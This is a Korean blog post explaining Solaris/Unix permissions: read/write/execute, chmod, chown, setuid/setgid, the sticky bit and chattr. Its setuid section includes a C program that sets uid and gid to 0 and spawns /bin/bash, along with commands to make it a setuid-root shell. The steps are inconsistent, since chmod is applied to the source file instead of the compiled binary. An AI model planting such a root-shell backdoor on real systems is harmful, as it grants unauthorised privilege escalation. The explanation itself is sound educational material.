본문 바로가기

Solaris/기술과 팁

사용자 권한 관리 (set uid, set gid 등)


출처 : http://blog.naver.com/ehdus85?Redirect=Log&logNo=130098957645


권한 (Permission)

파일

  • 파일에서의 r 권한
    • Cat, more, vim, cp 등과 같은 파일의 내용을 읽어 들이는 것과 관련이 있다.
  • 파일에서의 w 권한
    • Cat, echo, vim 등과 같은 파일의 내용을 수정, 변경 하는 것과 관련이 있다.
    • Vim 같은 경우는 :wq! 로 저장이 가능하긴 하다. (소유주만 적용)
  • 파일에서의 x 권한
    • 실행 파일 같은 경우 실행 여부와 관련이 있다.

    디렉터리

  • 디렉터리 에서의 r 권한
    • Ls, dir 등과 같은 디렉터리의 내부 내용을 읽어 들이는 것과 관련이 있다.
  • 디렉터리 에서의 w 권한
    • Mkdir, touch, rm, mv 등과 같은 디렉터리 내부에 생성, 삭제와 관련이 있다.
    • 파일을 삭제 할 때 그 파일의 권한을 보는 것이 아니라 해당 디렉터리의 권한을 본다. (디렉터리의 권한에 w 권한이 있으면 파일에 대한 권한과 상관없이 디렉터리 삭제가 가능하다.)
    • W 위험한 권한임
  • 디렉터리 에서의 x 권한
    • 디렉터리의 접근과 관련이 있다.
    • 디렉터리에 x가 없다는 것은 대부분의 명령어를 이용 할 수가 없게 된다.

    디렉터리에 일반 사용자에 대한 실행 권한이 없으면 디렉터리 안의 파일 내용만 보이게 된다.

  • Chmod
    • 권한에 대한 절대값 사용 : chmod 644 test
    • 권한에 대한 상대값 사용 : chmod g+rx test (owner=u, group=g, other=o)

  • Chown
    • 해당 파일의 소유자와 그룹을 바꿀 수 있다.
    • Chown testuser1:testuser1 test ( test 파일의 소유자와 그룹을 testuser1 로 바꿈)

  • setUID
    • Setuid 를 걸어 놓으면 일반 사용자라도 그 걸려있는 파일을 실행하면서 그 파일의 소유자 권한을 가지게 된다.
    • Passwd 파일이 실행되면 shadow 에서는 root(uid:0)만 쓰기 가능 하도록 passwd 프로그램 자체가 그렇게 만들어 져 있다. 관리자만 passwd 에서의 shadow 관리 가능
    • 위험성이 큼 - 악용 가능성
    • Setuid로 root 계정 따기

       #include <stdio.h>
      int main()
       {
       setuid(0);
       setgid(0);
       system("/bin/bash");
       }

      Bash.c 라는 프로그램을 작성한다

      Uid 와 gid 를 0으로 주고 bash 쉘을 떨군다.

      # gcc -o bash.sh bash.c
      # chmod u+s bash.c
      # ls -l bash.c
      -rwsr-xr-x 1 root root 2343 bash.c

    • 만든 프로그램을 컴파일 후 실행파일로 만든다.

      Setuid 를 그 실행파일에 걸어준다

      마지막에 bash.sh의 권한에 -rws…. 로 소문자 s가 붙어 setuid가 걸려 있음을 확인 할 수 있다.

       

      일반 사용자 계정인 test1로 로그인 후 /test/bash.sh 파일을 실행하면 root계정으로 쉘이 떨어졌음을 확인 할 수 있다.

  • Setgid
    • Seuid 와 동일한 내용을 가지며 다만 그룹의 권한으로 실행 된다는 것만이 다름

  • Sticky bit
    • T 나 t로 표현
    • 삭제시에는 소유권자 혹은 슈퍼유저만 지울 수 있다.
    • 예로 tmp에서의 삭제를 소유주만 가능하도록 할 때 (tmp는 공유 폴더, 임시 저장 폴더)

      ex) drwxrwsrwt   2 root     other       6656 Jul  9 05:27 LOG

  • Chattr (change attribute)
    • 속성 변환 하는 명령어
    • Chatter option +-= 속성값 파일 / 디렉터리
    • = : 기존에 있는 것 무시하고 지금 등록하는 것만 등록
    • 속성값
      • a : 추가 모드만 지원함(root만 가능)
      • i : 변경 불가능 상태로 설정 (w속성 아예 안 먹힘) root도!!

        [출처] 권한(Permission)|작성자 Yun